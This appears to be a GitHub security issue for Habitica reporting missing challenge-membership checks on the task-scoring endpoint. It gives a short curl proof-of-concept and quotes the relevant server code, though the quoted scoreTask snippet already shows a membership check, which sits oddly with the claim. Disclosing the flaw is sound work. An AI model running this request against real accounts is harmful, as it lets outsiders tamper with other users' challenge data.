challenge membership is not enforced when scoring tasks
Author: slin99Created Sep 23, 2026Updated Sep 25, 2026
Missing access controls in the /tasks/$TASK_ID/score/up allow arbitrary third users to score on tasks in challenges they are not taking part in, and gain rewards.
POC:
#!/bin/sh
api() {
method="$1"
path="$2"
curl -sS \
-X "$method" \
-H "x-api-user: $API_USER" \
-H "x-api-key: $API_KEY" \
-H "x-client: habitica-web" \
-H "Content-Type: application/json" \
"$BASE_URL/api/v3$path"
}
api POST "/tasks/$TASK_ID/score/up"
api GET "/tasks/$TASK_ID"Root cause analysis
The post request succeeds and the get request fails.
In website/server/controllers/api-v3/tasks.js:501 the get handler has this case
// line 517
else if (task.challenge.id && !task.userId) {
const challenge = await Challenge.findOne({ _id: task.challenge.id }).select('leader').exec();
// @TODO: Abstract this access snippet
if (!challenge) throw new NotFound(res.t('messageTaskNotFound'));
if (!challenge.canModify(user) && !challenge.isMember(user)) {
throw new NotFound(res.t('messageTaskNotFound'));
}that checks that a user is a member of the challenge the task belongs to The post handler however outsources the checks to the scoreTask function that misses the check and only checks:
// website/common/script/ops/scoreTask.js:265
if (task.userId && task.userId !== user._id) {
throw new BadRequest('Cannot score task belonging to another user.');
} else if (task.group && task.group.id && user.guilds.indexOf(task.group.id) === -1
&& user.party._id !== task.group.id) {
throw new BadRequest('Cannot score task belonging to another user.');
} else if (task.challenge && task.challenge.id && !task.userId
&& user.challenges.indexOf(task.challenge.id) === -1) {
throw new BadRequest('Cannot score task belonging to another user.');
}
PS: This should probably a security Issue as it allows griefing and writing in other users data...
Source: HabitRPG/habitica